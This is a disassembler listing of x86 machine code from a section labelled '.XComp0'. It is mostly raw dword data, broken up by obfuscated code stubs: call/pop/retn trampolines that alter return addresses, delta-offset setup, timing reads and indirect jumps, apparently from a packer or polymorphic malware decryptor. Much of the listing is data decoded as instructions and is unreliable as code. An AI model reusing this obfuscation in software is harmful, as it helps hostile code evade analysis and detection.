		dd 0A7CA855Fh, 0D04EE4ECh, 6B3BF6B0h, 11BF68ECh, 5B4273A5h
		dd 1E7D8501h, 613C05F9h, 0A5830Fh, 81660000h, 0F0368EBh
		dd 0BD0BC8B6h, 5F92B55h, 6BAh, 8BC18B00h, 0F901759Dh, 4E8C105h
		dd 0F766D98Bh, 2BF98BE2h, 0F9BF0FC8h, 0B501D18Bh, 5F92795h
		dd 5E9h, 0CF816600h, 858BDD16h,	5F92B01h, 0C083D88Bh, 3890F07h
		dd 66000000h, 0BD2BDA8Bh, 5F906C1h, 0B00C083h, 0F928B19Dh
		dd 0FD03B05h, 1083h, 0A5850900h, 0E905F919h, 33h, 4C38166h
		dd 2D8D8B7Ah, 8A05F920h, 1E183F9h, 1D840Fh, 0F500000h
		dd 835FFEB7h, 0F9202DA5h, 9589FE05h, 5F92B01h, 0DBD9D8Bh
		dd 0E905F9h, 8D000000h,	0FD1DF0B5h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 0BF0F587Fh
		dd 6A006AD9h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3DCBC351h, 0D137B2C2h,	1AED95FFh
		dd 0BD8B05F9h, 5F92761h, 0E7EB9h, 0A18D8900h, 8305F92Bh
		dd 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0FC5CD2C3h, 10860Fh, 7E80000h, 18000000h
		dd 651828FFh, 0C3802501h, 0C02B5F10h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5DC35747h, 93EF93ACh, 0AAB71DA0h
		dd 16105CBFh, 6AD22B7Ch, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0E4FDC355h,	8FD7C39h
		dd 9B589BAh, 0AD05F92Eh, 0E8D1C233h, 0E983D003h, 0F9F47504h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 28C35242h
		dd 880Dh, 25858900h, 0E805F915h, 10h, 0D35F3BFAh, 1CD0EAC8h
		dd 97E1DECFh, 6CF91A13h, 2E159D03h, 8B5B05F9h, 0F90CDD95h
		dd 8B8AB305h, 0F926C18Dh, 4E38005h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0E469EAC3h, 4FE21CF5h
		dd 66F1E716h, 66256BBFh, 6AF7B9BFh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 41C8C357h
		dd 59BD83DBh, 5F911h, 92840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 93EE47C3h
		dd 74AEC7B1h, 8971642Fh, 0F9218DB5h, 0B805h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 57BD74C3h, 0B70F6656h, 0E88D8DFFh, 0E805F94Eh, 8, 0EB04BEEDh
		dd 6A1759F5h, 14958D89h, 0FF5F05F9h, 56006AE1h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0BF873788h
		dd 0F98BA769h, 0FDBD83h, 0F0005F9h, 3BF84h, 0BD83F500h
		dd 5F900FDh, 0CC840F01h, 0E8000003h, 5,	4AD8DD13h, 8703BB4Eh
		dd 8B5B1589h, 0FDBD83DAh, 305F900h, 377860Fh, 9D8B0000h
		dd 5F91F8Dh, 56006A60h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 2DBD8BC2h, 6605F913h, 6AD98Ch, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 4DFF63C3h, 5E8B5h, 0FE200000h, 8BBA69B8h, 0F91729BDh
		dd 0E1805F05h, 0EB816604h, 0C90A008Bh, 12A840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0C7652EC3h, 0DDC29642h, 0D4CF81F1h, 0E962A426h, 0Bh
		dd 695BB02Bh, 9DC1F3ABh, 8B6B0695h, 0F9259985h,	50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0EE3E6466h, 33DAB70Fh, 0F9042D85h, 0CE905h
		dd 0D10000h, 0F2F15DEDh, 0EC499EACh, 0E9903B46h, 0Ah, 263AA246h
		dd 98B6645Eh, 0BF50B2E5h, 4CC0B1F1h, 53006A90h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0E9006A57h
		dd 0Ch,	92C664AEh, 1F1D8AE0h, 9CA73AADh, 7BBBB68h, 240481CCh
		dd 34174844h, 95FFDA8Ah, 5F92AC5h, 218589F9h, 6A05FCFCh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 31E4C353h, 0B5898B81h, 5F90561h, 1AFE9h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 9A328D82h, 9D89A8B1h, 5F903B5h, 0FC19858Bh
		dd 6A05FCh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0C7F585C3h, 1800h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 831ABDC9h
		dd 0E43CE3FAh, 55EB819Eh, 8B43D0CAh, 0FCFC1DB5h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0F88BF2B8h, 16C99D8Bh, 858B05F9h, 5F92B89h, 0EE9h, 2B218700h
		dd 0D23DDBA5h, 1CDDAF2Ch, 89D99A4Ah, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B589B18Ch
		dd 5F93135h, 2599858Bh,	7BBB05F9h, 0F95CDEAFh, 0E9044689h
		dd 0Ch,	7BC0D544h, 40CBAC55h, 91721D8Fh, 60525096h, 10E9h
		dd 4C6DE000h, 0B7BAEE4h, 393204Bh, 9ADBECCCh, 310F6160h
		dd 6C48BF66h, 9650585Ah, 18FD9D8Bh, 0B5FF05F9h,	5FCFC19h
		dd 1781BD8Bh, 0DE805F9h, 2A000000h, 8CF76CAh, 0D420B69Ch
		dd 731728D4h, 5FFFB70Fh, 6FF05E68h, 66525098h, 310FFA8Bh
		dd 0DF8B6651h, 81585A5Fh, 13A12404h, 0BF6667AFh, 858DF33Dh
		dd 5FCFC21h, 50FE8B66h,	6E9h, 75817300h, 89349CE6h, 9D012404h
		dd 5F932E5h, 2AC595FFh,	6A05F9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 14320FC3h, 959D8B61h
		dd 0C705F913h, 0F900FD85h, 305h, 7E900h, 0B470000h, 0AAB65627h
		dd 21BD83C7h, 5FCFCh, 2F840Fh, 0BD8B0000h, 5F9243Dh, 3FE9h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 2A373583h, 3DE78166h, 0C3050C9h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 50C35646h, 689A5350h, 0FEB70FC4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 6DC35040h
		dd 0B80C1223h, 0ED9D29F7h, 0BB05F927h, 6F12291Fh, 0FDBD83h
		dd 0F0305F9h, 41585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 2123AA8Ah, 0E1E511EFh
		dd 27958531h, 0BD8305F9h, 5FCFC21h, 0DF840F00h,	6A000003h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 8CD0C350h, 0FFA71E00h, 0FCFC21B5h, 19D8B05h
		dd 0FF05F914h, 0F91AAD95h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0FDD57B40h
		dd 810FD9A7h, 4, 7682BF66h, 0FC15B58Bh,	9D0B05FCh, 5F91F31h
		dd 106C7h, 7E80001h, 53000000h,	0B00790ECh, 8B60E527h
		dd 0F9347DBDh, 965F6105h, 9E8h,	81A4D600h, 3C060C80h, 820F6439h
		dd 0Eh,	8E8h, 1AC9B500h, 4FAA0E77h, 505B5B4Eh, 0AE9h, 0D69FE900h
		dd 1586192Dh, 96806460h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0FC35646h, 0D972D56Eh, 11E87480h, 0FB000000h
		dd 1AA4F1B7h, 0C49BAE44h, 0F2E313Bh, 30005E6Ah,	1AF35DBBh
		dd 0B5FF5F66h, 5FCFC21h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 18h, 5FC35545h, 813DD8F6h,	0D1F38166h, 2995FFB9h
		dd 6A05F927h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0D619C355h, 0FC15B58Bh, 6A05FCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 38BB56C3h, 6DD7FCCAh, 7E9h, 0CF9F1800h, 2675C11Bh, 858B43B3h
		dd 5F91809h, 8B0Fh, 86890000h, 0C4h, 0CDD958Bh,	6A05F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 8D891FC3h, 5F90D0Dh,	6A04C283h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0C9F4C350h
		dd 18559D8Bh, 0EE805F9h, 1D000000h, 33235CDCh, 0C67886F2h
		dd 0BE066E6Eh, 895FF86Fh, 858D2050h, 5FD10E9h, 2C57B860h
		dd 0BD31701Ch, 5F914F9h, 0B8868961h, 1000000h, 0F929ED85h
		dd 89006A05h, 0F93275B5h, 21B5FF05h, 6605FCFCh,	10D2EB81h
		dd 9995FFh, 816605F9h, 500BDDCBh, 4880Fh, 0BB660000h, 3489A159h
		dd 20FCBF24h, 9D8B1396h, 5F913FDh, 0FC21B5FFh, 95FF05FCh
		dd 5F93569h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	2EC35343h, 0A31ADD75h, 0A90AED07h, 0BD83FCFDh
		dd 5F917F5h, 38840F00h,	29000000h, 0F91125B5h, 0BF665005h
		dd 34898456h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 44E4724Eh, 0D45D0E40h, 7DBD2B73h
		dd 0FF05F934h, 0FCFC21B5h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0BBC12E0Bh
		dd 592747E9h, 19A58509h, 95FF05F9h, 5F92E6Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E1C35343h, 9DAEEE08h
		dd 6CC1802Ch, 0E59D8BACh, 0FF05F91Ah, 0FCFC21B5h, 0DD95FF05h
		dd 6A05F921h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6F82C350h, 3DD11A7Bh, 0BD839900h
		dd 5F90A2Dh, 57840F02h,	56000000h, 5BDFBF0Fh, 1151858Bh
		dd 958905F9h, 5F90DC5h,	6A0000C6h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 6CECC357h
		dd 87E6AE29h, 6E59D8Bh,	8D8905F9h, 5F928C1h, 95016060h
		dd 5F900E9h, 80D9531h, 8B6105F9h, 0F92CD98Dh, 85C76105h
		dd 5F93319h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B66CB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B66CB	proc near		; CODE XREF: .XComp0:005B66C3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5B66CB	endp

; ---------------------------------------------------------------------------
		test	eax, 31A1BD8Bh
		stc
		add	eax, 0FFF40FE9h
		jmp	fword ptr [edx+0]
; ---------------------------------------------------------------------------
		push	ebp
		call	sub_5B66F2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B66F2	proc near		; CODE XREF: .XComp0:005B66EAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5B66F2	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pusha
		retn	2EB7h
; ---------------------------------------------------------------------------
		db 0B5h
		dd 13159D8Bh, 0C18B05F9h, 85F1BF66h, 0DC1858Dh,	850F05F9h
		dd 6, 0DD1B589h, 505005F9h, 0BB665250h,	310FB58Fh, 895B585Ah
		dd 81662404h, 6A676EDFh, 499D2900h, 6A05F907h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E87CA5B2h, 0Dh, 0C07830F4h,	61D00504h, 260D3987h, 0D08B60AFh
		dd 0DE1958Bh, 5F6105F9h, 0B2A5858Dh, 6A05FDh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0AB744AC3h
		dd 0C083605Ch, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0E8F5BDEh, 77494BB2h
		dd 0E6BB32F7h, 504D87D0h, 18D6D6BBh, 24048947h,	14C1BD89h
		dd 6A05F9h, 6890Fh, 0BD8B0000h,	5F917F1h, 8166006Ah, 0FF2DB7C3h
		dd 0F913ED95h, 0A58D8905h, 8D05F929h, 0FCE9838Dh, 9CBF6605h
		dd 8BD1FFFEh, 0F93195BDh, 85BD8305h, 105F917h, 70850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 26FEE6C3h, 8F78355Ah, 8B045145h, 60026AF9h
		dd 14F98D89h, 858B05F9h, 5F91EB9h, 8B665061h, 240489FBh
		dd 1F519D23h, 95FF05F9h, 5F90099h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0C1C35343h,	0CC357670h, 13059D03h
		dd 0E6E905F9h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FDB2AFh
		push	0
		push	edi
		call	sub_5B68AE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B68AE	proc near		; CODE XREF: .XComp0:005B68A6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5B68AE	endp

; ---------------------------------------------------------------------------
		dw 813Ah
		dd 0F0A8A9F7h, 0D6DB816Bh, 89272728h, 0F91941BDh, 0EB816605h
		dd 858D7F29h, 5FCD97Ch,	38A0Fh,	8B660000h, 525050FBh, 5250310Fh
		dd 585A310Fh, 489585Ah,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 7118D484h, 0BF0F5675h
		dd 0CB8166F8h, 0FF64C201h, 35h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 1737186Ah
		dd 4639BEC8h, 0B589562Eh, 5F906DDh, 1F2D9D8Bh, 896405F9h
		dd 25h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1A04h, 0C3554500h, 0E147E82Ah, 29F6649Eh, 0F906559Dh
		dd 7D85FF05h, 6A05F919h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 8E7AC353h, 99BE28E5h
		dd 0BD0B9E23h, 5F92BEDh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0F88B9CC3h, 2B09BD29h
		dd 0B5FF05F9h, 5F91FA1h, 0C3E9BF66h, 91195FFh, 31E905F9h
		dd 0E9000001h, 9, 0C22D4971h, 16AD0342h, 8900B075h, 0F90B0D9Dh
		dd 0E470E605h, 0EB816671h, 613CF093h, 10A830Fh,	0EB810000h
		dd 4234F697h, 0FCC8B60Fh, 6BAh,	459D0100h, 8B05F921h, 40D781C1h
		dd 0C16BE857h, 0F76604E8h, 0B58960E2h, 5F92DBDh, 1345B58Bh
		dd 2B6105F9h, 0AE9C8h, 997C0000h, 7387CBC1h, 4B582D2Fh
		dd 840FD18Bh, 13h, 0CE8h, 0D2837200h, 2B362662h, 599BA930h
		dd 0E95BF84Dh, 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp+5F91339h]
		mov	ebx, [ebp+5F9287Dh]
		add	eax, 7
		movzx	ebx, di
		add	eax, 0
		jmp	loc_5B6A9F
; ---------------------------------------------------------------------------
		pop	es
		test	al, 82h
		dec	eax
		nop
		retn
; ---------------------------------------------------------------------------
		dd 4F072581h
		db 65h,	6Eh, 53h
; ---------------------------------------------------------------------------


loc_5B6A9F:				; CODE XREF: .XComp0:005B6A8Dj
		jmp	loc_5B6AAB
; ---------------------------------------------------------------------------
		dd 0D5C3C4E3h
		db 0F5h, 0A3h, 8
; ---------------------------------------------------------------------------


loc_5B6AAB:				; CODE XREF: .XComp0:loc_5B6A9Fj
		cmp	edx, eax
		jnb	loc_5B6AE5
		jmp	loc_5B6B20
; ---------------------------------------------------------------------------
		jmp	loc_5B6AD1
; ---------------------------------------------------------------------------
		db 75h,	0C4h, 0EDh
		dd 459B099h, 277F148Ch,	4AEF949Ah, 191996CBh
; ---------------------------------------------------------------------------
		dec	edx


loc_5B6AD1:				; CODE XREF: .XComp0:005B6AB8j
		jno	loc_5B6AE5
		pusha
		mov	[ebp+5F92405h],	eax
		mov	[ebp+5F917F1h],	eax
		popa


loc_5B6AE5:				; CODE XREF: .XComp0:005B6AADj
					; .XComp0:loc_5B6AD1j
		mov	ecx, [ebp+5F91E79h]
		sub	ebx, [ebp+5F92031h]
		and	ecx, 1
		jz	loc_5B6B20
		mov	[ebp+5F92685h],	eax
		and	dword ptr [ebp+5F91E79h], 0FFFFFFFEh
		mov	bh, 33h
		mov	[ebp+5F91339h],	edx
		jle	loc_5B6B1B
		or	[ebp+5F9330Dh],	ecx


loc_5B6B1B:				; CODE XREF: .XComp0:005B6B0Fj
		jmp	$+5


loc_5B6B20:				; CODE XREF: .XComp0:005B6AB3j
					; .XComp0:005B6AF4j
		lea	esi, [ebp+5FD372Ch]
		push	0
		push	ebx
		call	sub_5B6B31
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B31	proc near		; CODE XREF: .XComp0:005B6B29p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5B6B31	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+ecx*2]
		movsd
		push	esi
		movsb
		add	[esi+14h], esi
		test	eax, 28659D8Bh
		stc
		add	eax, 9D09006Ah
		add	[ebx], ebx
		stc
		add	eax, 1AED95FFh
		stc
		add	eax, 11F1BD8Bh
		stc
		add	eax, 891B9h
		add	[edx+0], ch
		push	esi
		call	sub_5B6B75
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6B75	proc near		; CODE XREF: .XComp0:005B6B6Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5B6B75	endp

; ---------------------------------------------------------------------------
		db 61h,	9Bh, 91h
		dd 55FFBBABh, 2B41B529h, 0E18305F9h, 56006AFCh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 3F03347Bh
		dd 858910E7h, 5F909C1h,	95236060h, 5F92B31h, 161D98Bh
		dd 0F9297D85h, 0FFC6105h, 0B8D8B7h, 66000000h, 0F903CF81h
		dd 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 2A763FC3h, 0E02E8848h, 0B70FA956h, 0C233ADD8h
		dd 0D003E8D1h, 7504E983h, 55006AF4h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 330D7494h
		dd 26BB8AB4h, 0E802AC82h, 0Bh, 0CF555421h, 0AEA7ACF1h
		dd 0E8EF4114h, 0Ch, 7A322D39h, 71B1352Dh, 0FEE127ACh, 16719D2Bh
		dd 5B5B05F9h, 880Dh, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0A7ED9255h, 8B05C380h
		dd 0F90CDD95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0FA8B7BEEh, 26C18D8Bh
		dd 9D8905F9h, 5F921ADh,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 0BFC348C3h, 785CF856h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BEC35646h, 3BEB812Ah
		dd 8B3D22E8h, 0F924A9BDh, 59BD8305h, 5F911h, 0A4840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0E96267C3h, 0F895C7FEh, 880F80A1h, 7, 0DB816653h
		dd 0B85F5396h, 0
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+5F91451h]
		lea	ecx, [ebp+5F94EE8h]
		push	0
		push	edi
		call	sub_5B6D6F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6D6F	proc near		; CODE XREF: .XComp0:005B6D67p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B6D6F	endp

; ---------------------------------------------------------------------------
		pop	esi
		inc	ecx
		adc	edi, esp
		add	cl, [edi]
		sahf
		or	dl, [edx+60h]
		mov	[ebp+5F904A1h],	ebx
		mov	edi, [ebp+5F92825h]
		popa
		pop	edi
		mov	ebx, [ebp+5F917B1h]
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5B6DAA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B6DAA	proc near		; CODE XREF: .XComp0:005B6DA2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_5B6DAA	endp

; ---------------------------------------------------------------------------
		dw 0A676h
		dd 9DCEDA30h, 21D99589h, 0BD8305F9h, 5F900FDh, 78840F00h
		dd 66000004h, 0BD83F88Bh, 5F900FDh, 83840F01h, 6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0B0DEC357h, 0E3CDAA54h, 11E8F9h, 78050000h
		dd 0CC93BB7Fh, 0DCE35A9Ch, 0AE1A962Ah, 0E8811611h, 0Ch
		dd 3BBEBA6Ch, 60D564D3h, 0AB19A824h, 919D89h, 5F5B05F9h
		dd 277D8531h, 0BD8305F9h, 5F900FDh, 0E9860F03h,	6A000003h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0AB1AC351h, 6A60F8h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 805C98C3h, 8C66E4EFh
		dd 50006AD9h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 88A0F17h, 56000000h, 1F599D8Bh, 605F05F9h
		dd 174DBD09h, 806105F9h, 800F04E1h, 6, 9B59D89h, 0C90A05F9h
		dd 128840Fh, 800F0000h,	6, 5C98D09h, 858B05F9h,	5F92599h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 27C35040h
		dd 0C38C6107h, 0A32B775Dh, 42D8533h, 6A05F9h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B3903CC3h
		dd 99050AEh, 0F924358Dh, 29006A05h, 0F919C59Dh,	0BDBD8B05h
		dd 6805F904h, 8073CA0Eh, 0F1240481h, 6A7FAB39h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 6969C351h, 9B2838B9h, 19959D8Bh, 0FA8B05F9h,	2AC595FFh
		dd 6A05F9h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0F8FCBDC3h, 68C0Fh, 9D8B0000h, 5F9220Dh
		dd 0FC218589h, 6A05FCh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0B41DF1C3h, 0CBD04FCCh, 0E9FCD084h
		dd 1C0h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	64C35747h, 84D87714h, 858B600Fh, 5FCFC19h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 78C35545h, 8FBB1B19h
		dd 0A921556Eh, 198D895Ah, 0C705F90Ch, 1800h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0FCEF96B9h, 79FA118Ah, 8BDF8B66h, 0F929E5BDh, 1DB58B05h
		dd 0BF05FCFCh, 6F8B6F55h, 2B89858Bh, 6A05F9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0E9114EC3h
		dd 0Ah,	94E6FDBAh, 0C7B96E2Bh, 689E866h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ah, 70C35141h, 2FF0AE0Bh
		dd 81669720h, 8B9A0DDFh, 0F912599Dh, 99858B05h,	6A05F925h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 9143C350h, 9457BB83h, 8D29956Ah, 5F90D6Dh
		dd 6A044689h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0BE03C350h, 50D98B96h,	0DA8B5250h
		dd 0F88B310Fh, 8996585Ah, 0F9070195h, 19B5FF05h, 6A05FCFCh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 68FCC357h, 0B1B1CA8Ch, 73240481h,	0BB4E6D39h
		dd 703809ABh, 2431BD8Bh, 858D05F9h, 5FCFC21h, 13E9h, 22F12D00h
		dd 1A7ED09Ch, 3D7AA206h, 8459307Bh, 0EFD5DDBEh,	8B665090h
		dd 0BD8990F8h, 5F907DDh, 2AC595FFh, 0D88B05F9h,	52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0B589FFF3h, 5F92745h, 0FD85C7h, 305F9h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 46ADB3C3h, 23F5555Ah, 0FC21BD83h, 0F0005FCh,	3B84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 687013F5h, 572B81BFh, 68B0F2Eh, 2B000000h
		dd 0F931C19Dh, 21E905h,	85010000h, 5F90D35h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 0BFC08B00h, 6992D7BFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 59C35646h
		dd 0BF84B307h, 1FBACDEDh, 0FDBD83h, 0F0305F9h, 49385h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0ADDD06DFh, 0E9958940h, 8105F933h, 0BCE10AE3h
		dd 21BD8366h, 5FCFCh, 45A840Fh,	27BF0000h, 0FF1CAEA9h
		dd 0FCFC21B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 9EACF2F1h, 95FFEC49h
		dd 5F91AADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	56C35646h, 50418FB4h, 3F3C37Ah,	0F90AF9BDh, 15B58B05h
		dd 0C705FCFCh, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A0B5B86Ah, 0BBB726EFh
		dd 0FE850h, 35CC0000h, 0EB7225Ah, 13FCA6EAh, 3C6F4DE9h
		dd 5B5056F0h, 34895B5Bh, 0EE924h, 30AF0000h, 4EE59C6Dh
